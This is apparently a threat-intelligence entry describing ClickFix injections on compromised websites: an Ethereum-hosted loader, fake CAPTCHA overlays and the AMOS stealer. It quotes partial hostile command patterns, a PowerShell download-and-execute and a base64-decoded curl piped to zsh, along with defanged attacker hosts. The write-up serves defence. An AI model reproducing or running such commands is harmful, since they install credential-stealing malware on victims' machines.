IClickFix: ClickFix injections on compromised sites (Ethereum Sepolia loader and interseq[.]at overlay)

Script injected into compromised websites, wrapped as [].constructor.constructor(atob("...")). For Windows visitors it reads an encrypted stage from a smart contract on the Ethereum Sepolia test network (EtherHiding), decrypts and runs it; that stage loads a ClickFix lure from a host that the operator rotates every few days, which asks the visitor to paste and run a command. The contract carries the stage itself, so the match is on the injected loader and on the hosts the stage has used. The same name is used publicly for a second injector, loaded from interseq[.]at, that draws a fake CAPTCHA or Cloudflare-style verification overlay and picks the command by the visitor's operating system: Windows visitors are told to open the Run dialog (Win + R) and paste a PowerShell command (iex(irm '<host>/<campaign>/<id>' ...), for example from copiose[.]org); Mac visitors get curl -s $(echo "..." | base64 -d) | zsh, a disguised download of a shell script from escapeai[.]live, which is publicly labelled AMOS stealer. That injector also removes other malicious scripts injected into the same site, such as competing fake-verification injectors and cryptocurrency wallet drainers. Seen on small-business WordPress sites since mid-September 2026, and behind a fake 'Сloudflare' page at cloudflare[.]vc. No legitimate verification step asks visitors to run a command.